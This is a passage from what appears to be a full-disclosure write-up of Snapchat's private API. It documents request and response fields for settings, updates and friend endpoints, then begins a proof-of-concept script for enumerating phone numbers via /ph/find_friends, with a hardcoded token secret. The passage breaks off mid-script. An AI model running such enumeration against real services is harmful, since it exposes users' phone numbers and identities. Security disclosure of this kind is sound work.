IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>bool</td> <td>Whether or not the blob data will be <a href="#gzipping-data">gzip</a> compressed.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story's blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail's blob data.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td><em>Not always present</em> - seems to be (seldom often) set by the client on story upload.</td> </tr> </tbody></table> <h1 id='getting-updates-bqupdates' class='link-to'>Getting updates (<code>/bq/updates</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-updates-bqupdates'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back something like a request from <a href="#logging-in-bqlogin">logging in</a>.</p> <h1 id='sending-updates-bqupdate_snaps' class='link-to'>Sending updates (<code>/bq/update_snaps</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-updates-bqupdate_snaps'>露</a></h1> <p>This lets you report snaps as viewed or screenshotted.</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">added_friends_timestamp</span><span class="o">:</span> <span class="mi">1373206707</span><span class="p">,</span> <span class="nx">json</span><span class="o">:</span> <span class="s2">"{\"325922384426455124r\":{\"c\":0,\"t\":1385378843,\"replayed\":0}}"</span><span class="p">,</span> <span class="nx">events</span><span class="o">:</span> <span class="s2">"[]"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>added_friends_timestamp</code></td> <td>int</td> <td>The last time a friend added you - you'll get this from <a href="#logging-in-bqlogin">logging in</a> or update calls.</td> </tr> <tr> <td><code>json</code></td> <td>str</td> <td>A string representation of a dictionary of snap updates - See <em>below</em>.</td> </tr> <tr> <td><code>events</code>*</td> <td>str</td> <td>A string representation of a list of updates - used for <a href="https://gibsonsec.org/snapchat/">BroadcastSnap</a> views and misc analytics data.</td> </tr> </tbody></table> <p><code>json</code> is a string representation of a dictionary like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>key</em></td> <td>str</td> <td>The ID of the snap we're pushing updates on.</td> </tr> <tr> <td><code>c</code></td> <td>int</td> <td>Whether this is: seen, <code>0</code>; screenshotted, <code>1</code></td> </tr> <tr> <td><code>t</code></td> <td>int</td> <td>A timestamp of when this event occurred.</td> </tr> <tr> <td><code>replayed</code></td> <td>int</td> <td>How many times this snap has been <em>replayed</em>.</td> </tr> </tbody></table> <p><code>events</code> is a string representation of a list of dictionaries like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mEventName</code></td> <td>str</td> <td>The type of event that happened. (e.g: <code>ERROR: SnapEncryptionAlgorithm.decrypt failed</code>)</td> </tr> <tr> <td><code>mParams</code></td> <td>str</td> <td>A string representation of a dictionary, usually with the single key <code>message</code>.</td> </tr> <tr> <td><code>mTimestamp</code></td> <td>int</td> <td>Timestamp of when this event occurred.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.</p> <h1 id='sending-more-updates-bqupdate_stories' class='link-to'>Sending more updates (<code>/bq/update_stories</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-more-updates-bqupdate_stories'>露</a></h1> <p>This lets you report stories as viewed or screenshotted (much like above).</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">friend_stories</span><span class="o">:</span> <span class="s2">"[{\"id\":\"someguy~1385712923240\",\"screenshot_count\":0,\"timestamp\":1385712932690}]"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>friend_stories</code></td> <td>str</td> <td>A string representation of a list of updates - See <em>below</em>.</td> </tr> </tbody></table> <p><code>friend_stories</code> is a string representation of a list of dictionarys like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>The story segment id we're pushing updates on.</td> </tr> <tr> <td><code>screenshot_count</code></td> <td>int</td> <td>How many screenshots we've taken of this segment.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>A timestamp of when this event occurred.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.</p> <h1 id='clearing-your-feed-phclear' class='link-to'>Clearing your feed (<code>/ph/clear</code>) <a class='pilcrow' title='Permalink to this section' href='#clearing-your-feed-phclear'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.</p> <h1 id='updating-your-account-settings-phsettings' class='link-to'>Updating your account settings (<code>/ph/settings</code>) <a class='pilcrow' title='Permalink to this section' href='#updating-your-account-settings-phsettings'>露</a></h1> <p>There are a few request fields that are consistent in use across <code>/ph/settings</code>:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td>The action we're taking: <code>updateBirthday</code>, <code>updateEmail</code>, <code>updatePrivacy</code>, or <code>updateStoryPrivacy</code>.</td> </tr> </tbody></table> <h2 id='updating-your-birthday' class='link-to'>Updating your birthday <a class='pilcrow' title='Permalink to this section' href='#updating-your-birthday'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">.</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updateBirthday"</span><span class="p">,</span> <span class="nx">birthday</span><span class="o">:</span> <span class="s2">"02-25"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateBirthday</code></td> </tr> <tr> <td><code>birthday</code></td> <td>str</td> <td>Your birthday in the format <code>MM-DD</code>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"Birthday updated"</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">"0000-02-25"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>Your birthday, in the format <code>0000-MM-DD</code>.</td> </tr> </tbody></table> <h2 id='updating-your-attached-email' class='link-to'>Updating your attached email <a class='pilcrow' title='Permalink to this section' href='#updating-your-attached-email'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updateEmail"</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="96eff9e3d6f3eef7fbe6faf3b8f9e4f1">[email protected]</a>"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateEmail</code></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your current email you'd like linked to the account.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"Email updated"</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3940564c795c41585449555c17564b5e">[email protected]</a>"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>email</code>.</td> </tr> </tbody></table> <h2 id='updating-your-account-privacy' class='link-to'>Updating your account privacy <a class='pilcrow' title='Permalink to this section' href='#updating-your-account-privacy'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updatePrivacy"</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">"1"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updatePrivacy</code></td> </tr> <tr> <td><code>privacySetting</code></td> <td>str</td> <td>The new privacy setting: public, <code>0</code>; private, <code>1</code>;</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"Snap privacy updated"</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">"1"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>privacySetting</code>.</td> </tr> </tbody></table> <h2 id='updating-your-story-privacy' class='link-to'>Updating your story privacy <a class='pilcrow' title='Permalink to this section' href='#updating-your-story-privacy'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updateStoryPrivacy"</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">"EVERYONE"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateStoryPrivacy</code></td> </tr> <tr> <td><code>privacySetting</code></td> <td>str</td> <td>The new privacy setting: public, <code>EVERYONE</code>; friends only, <code>FRIENDS</code>; or a custom selection, <code>CUSTOM</code>;</td> </tr> </tbody></table> <p>The privacy setting <code>CUSTOM</code> requires an extra field called <code>storyFriendsToBlock</code>:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updateStoryPrivacy"</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">"CUSTOM"</span><span class="p">,</span> <span class="nx">storyFriendsToBlock</span><span class="o">:</span> <span class="s2">"['teamsnapchat','another_username']"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>storyFriendsToBlock</code></td> <td>str</td> <td>A string representation of a JSON list of friend usernames to block from seeing your stories.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"Story privacy updated"</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">"EVERYONE"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>privacySetting</code>.</td> </tr> </tbody></table> <h2 id='updating-your-maturity-settings' class='link-to'>Updating your maturity settings <a class='pilcrow' title='Permalink to this section' href='#updating-your-maturity-settings'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"updateCanViewMatureContent"</span><span class="p">,</span> <span class="nx">canViewMatureContent</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateCanViewMatureContent</code></td> </tr> <tr> <td><code>canViewMatureContent</code></td> <td>bool</td> <td>The new maturity setting, as a boolean.</td> </tr> </tbody></table> <p>For some reason this <em>never</em> replies with anything other than a <code>200 OK</code> with no body content.<br> If your request was <strong>successful</strong> (read: didn't break), you'll get a <code>200 OK</code> with no body content.</p> <h1 id='updating-feature-settings-bqupdate_feature_settings' class='link-to'>Updating feature settings (<code>/bq/update_feature_settings</code>) <a class='pilcrow' title='Permalink to this section' href='#updating-feature-settings-bqupdate_feature_settings'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">settings</span><span class="o">:</span> <span class="s2">"{\"smart_filters\": false, \"visual_filters\": false, \"special_text\": true, \"replay_snaps\": false, \"front_facing_flash\": false}"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>settings</code></td> <td>str</td> <td>A string representation of a dictionary telling Snapchat which feature settings you've enabled. Features are: <code>smart_filters</code>, <code>visual_filters</code>, <code>special_text</code>, <code>replay_snaps</code>, <code>front_facing_flash</code>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.</p> <h1 id='choosing-your-number-of-best-friends-bqset_num_best_friends' class='link-to'>Choosing your number of best friends (<code>/bq/set_num_best_friends</code>) <a class='pilcrow' title='Permalink to this section' href='#choosing-your-number-of-best-friends-bqset_num_best_friends'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">num_best_friends</span><span class="o">:</span> <span class="mi">3</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>num_best_friends</code></td> <td>int</td> <td>How many best friends you'd like to display (one of <code>3</code>, <code>5</code>, <code>7</code>).</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">"someguy"</span><span class="p">,</span> <span class="s2">"gibsec"</span><span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>best_friends</code></td> <td>list</td> <td>A list of your best friends.</td> </tr> </tbody></table> <h1 id='obligatory-exploit-pocs' class='link-to'>Obligatory exploit POCs <a class='pilcrow' title='Permalink to this section' href='#obligatory-exploit-pocs'>露</a></h1> <p>What would our full disclosure be if not tied together with some obligatory proof of concept scripts? We've taken some of our favorite exploits and turned them into lovely POC scripts for you to tinker with and hack to your heart's content.</p> <h2 id='the-find_friends-exploit' class='link-to'>The find_friends exploit <a class='pilcrow' title='Permalink to this section' href='#the-find_friends-exploit'>露</a></h2> <p>This is one of our personal favorites since it's just so ridiculously easy to exploit. A single request (once logged in, of course!) to <code>/ph/find_friends</code> can find out whether or not a phone number is attached to an account.</p> <p>This is one of the things we initially wrote about in our <a href="https://gibsonsec.org/snapchat/">previous release</a>, approximately <em>four months ago</em> (at the time of writing)! They've yet to add any rate limiting to this, so we thought we'd add a non-watered down version of the exploit to this release; maybe Evan Spiegel will fix it when someone finds <em>his</em> phone number via this?</p> <p>We did some back-of-the-envelope calculations based on some number crunching we did (on an unused range of numbers). We were able to crunch through <em>10 thousand</em> phone numbers (an entire sub-range in the American number format <code>(XXX) YYY-ZZZZ</code> - we did the Z's) in approximately 7 minutes on a gigabit line on a virtual server. Given some asynchronous optimizations, we believe that you could potentially crunch through that many in as little as a minute and a half (or, as a worst case, two minutes). This means you'd be railing through as many as <em>6666</em> phone numbers a minute (or, in our worst case, <em>5000</em>!).</p> <p>Using the <a href="http://news.cnet.com/8301-1023_3-57590968-93/snapchat-snapshot-app-counts-8m-adult-users-in-u.s/">reported 8 million users in June</a> as a rough estimate for Snapchat's user base (however, it will have undoubtedly exponentially grown since then), we can do some rough calculations on how long it would take to crunch through all of Snapchat's user base (<em>clarification:</em> we mean how long it would take to crunch through 8 million American numbers, seeing as it's still hit and miss):</p> <p>Given <code>user_base = 8,000,000</code>, and a <em>numbers crunchable per minute</em> (<code>ncpm</code>) of approximately <code>6666</code>, we can assume that it would take approximately <em>20 hours</em> for one $10 virtual server to eat through and find every user's phone number (<code>hours = user_base / (ncpm*60)</code>). At our worst case of <code>ncpm = 5000</code>, it would take approximately <em>26.6 hours</em>.</p> <p>This is all assuming that user's phone numbers are:</p> <ul> <li>All incremental (e.g. <code>(000) 000-0000</code>, <code>(000) 000-0001</code>, ...)</li> <li>All American.</li> </ul> <p>Evidently (fortunately?) this is not the case, however, it's sort of scary to think about, isn't it? Hopping through the particularly "rich" area codes of America, potential malicious entities could create large databases of phone numbers -> Snapchat accounts in minutes.</p> <p>In an entire month, you could crunch through as many as <strong>292 million</strong> numbers with a single server (<code>(ncpm*60)*730</code>, approximately 730 hours in a month). Add more servers (or otherwise increase your number crunching capabilities) and you can get through a seemingly infinite amount of numbers. It's unlikely Snapchat's end would ever be the bottleneck in this, seeing as it's run on Google App Engine, which (as we all know) is an absolute tank when it comes to handling load.</p> <p>The following script will simply read a list of numbers from <em>stdin</em>, iterate through them and write any results to <em>stdout</em>.<br> Use it like: <code>python2 find_friends.py $username $password < numbers.txt > results.txt</code></p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># python2 find_friends.py $username $password < numbers.txt > results.txt</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="nn">json</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="k">def</span> <span class="nf">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">"iEk21fuwZApXlz93750dmW22pw389dPwOk"</span> <span class="n">pattern</span> <span class="o">=</span> <span class="s">"0001110111101110001111010101111011010001001110011000110001000110"</span> <span class="n">first</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="n">auth_token</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">second</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">+</span> <span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">bits</span> <span class="o">=</span> <span class="p">[</span><span class="n">first</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">"0"</span> <span class="k">else</span> <span class="n">second</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">pattern</span><span class="p">)]</span> <span class="k">return</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="n">numbers</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> <span class="n">base</span> <span class="o">=</span> <span class="s">"https://feelinsonice.appspot.com"</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">"/bq/login"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="c"># These are hardcoded, just because it's easy.</span> <span class="s">"req_token"</span><span class="p">:</span> <span class="s">"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b"</span><span class="p">,</span> <span class="s">"timestamp"</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">"username"</span><span class="p">:</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"password"</span><span class="p">:</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"User-agent"</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="n">auth_token</span><span class="p">,</span> <span class="n">username</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">"auth_token"</span><span class="p">],</span> <span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">"username"</span><span class="p">]</span> <span class="c"># We can hardcode these as well.</span> <span class="n">static</span> <span class="o">=</span> <span class="p">{</span><span class="s">"req_token"</span><span class="p">:</span> <span class="n">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="mi">1373209025</span><span 